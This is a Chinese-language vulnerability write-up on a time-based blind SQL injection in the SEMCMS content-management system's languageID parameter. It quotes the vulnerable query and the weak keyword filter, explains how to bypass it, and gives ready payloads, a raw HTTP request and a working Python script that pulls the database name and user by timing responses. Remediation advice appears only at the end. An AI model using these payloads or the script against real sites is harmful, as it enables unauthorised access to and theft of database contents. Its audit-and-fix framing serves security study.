semcms代码审计:基于时间的盲注
字数 849 2025-08-26 22:11:56
SEMCMS代码审计:基于时间的盲注漏洞分析与利用
1. 漏洞概述
SEMCMS是一个轻量级的外贸网站系统,采用PHP+MySQL+Apache架构。在Include/web_inc.php文件中存在基于时间的SQL盲注漏洞,攻击者可通过精心构造的Payload实现数据库信息泄露。
2. 漏洞详情
2.1 漏洞文件位置
Include/web_inc.php
2.2 漏洞触发点
漏洞存在于处理languageID参数的SQL查询语句中:
$query=$db_conn->query("select * from sc_tagandseo where languageID=$Language");
2.3 漏洞成因
- 直接拼接用户输入的
languageID参数到SQL语句中 - 虽然存在过滤函数,但过滤不彻底,允许时间盲注
3. 漏洞利用分析
3.1 过滤机制分析
系统使用了三个主要过滤函数:
test_input()函数:
function test_input($data) {
$data = str_replace("%", "percent", $data);
$data = trim($data);
$data = stripslashes($data);
$data = htmlspecialchars($data,ENT_QUOTES);
return $data;
}
inject_check_sql()函数:
function inject_check_sql($sql_str) {
return preg_match('/select|insert|=|%|<|between|update|\'|\*|union|into|load_file|outfile/i',$sql_str);
}
verify_str()函数:
function verify_str($str) {
if(inject_check_sql($str)) {
exit('Sorry,You do this is wrong! (.-.)');
}
return $str;
}
3.2 绕过技巧
由于常规的联合注入被过滤,但可以使用基于时间的盲注技术:
- 使用
if()和sleep()函数构造Payload - 使用
like代替被过滤的=和<运算符 - 使用十六进制编码绕过字符串检测
3.3 有效Payload示例
languageID=0 or if(substr(database(),1,1) like 0x6D,sleep(5),1);
languageID=0 or if(ascii(substr(database(),%s,1))-%s,1,sleep(5));
4. 漏洞利用实战
4.1 手动验证
发送以下HTTP请求:
POST /Include/web_inc.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 64
languageID=0 or if(substr(database(),1,1) like 0x6D,sleep(5),1);
4.2 自动化利用脚本
#!/usr/bin/python3
# -*- coding:utf-8 -*-
import requests
def getDatabase(url):
s = ''
r = requests.session()
head = {'Content-Type':'application/x-www-form-urlencoded'}
for i in range(1,9):
for j in range(32,122):
data = 'languageID=0 or if(ascii(substr(database(),%s,1))-%s,1,sleep(5));' % (i,j)
result = r.post(url, data, headers=head)
if(result.elapsed.total_seconds() > 5):
s = s + chr(j)
print(s)
break
print('database=' + s)
def getUser(url):
s = ''
r = requests.session()
head = {'Content-Type':'application/x-www-form-urlencoded'}
for i in range(1,21):
for j in range(32,122):
data = 'languageID=0 or if(ascii(substr(user(),%s,1))-%s,1,sleep(5));' % (i,j)
result = r.post(url, data, headers=head)
if(result.elapsed.total_seconds() > 5):
s = s + chr(j)
print(s)
break
print('user=' + s)
if __name__ == '__main__':
url = 'http://127.0.0.1/Include/web_inc.php'
getDatabase(url)
getUser(url)
5. 进阶利用思路
由于select等关键字被过滤,常规的数据提取方法受限,可以考虑以下替代方案:
- 使用
regexp进行条件判断:
languageID=0 or if((user regexp "^p"),sleep(5),1);
- 利用其他未被过滤的函数和运算符构造Payload
6. 修复建议
- 使用参数化查询或预处理语句
- 对
languageID参数进行严格的类型检查(强制转换为整数) - 完善过滤函数,增加对
sleep()、benchmark()等时间相关函数的检测 - 设置数据库用户最小权限原则
7. 总结
该漏洞展示了即使存在一定过滤机制,攻击者仍可能通过精心构造的Payload实现SQL注入。开发人员应避免直接拼接用户输入到SQL语句中,而应使用更安全的数据库访问方式。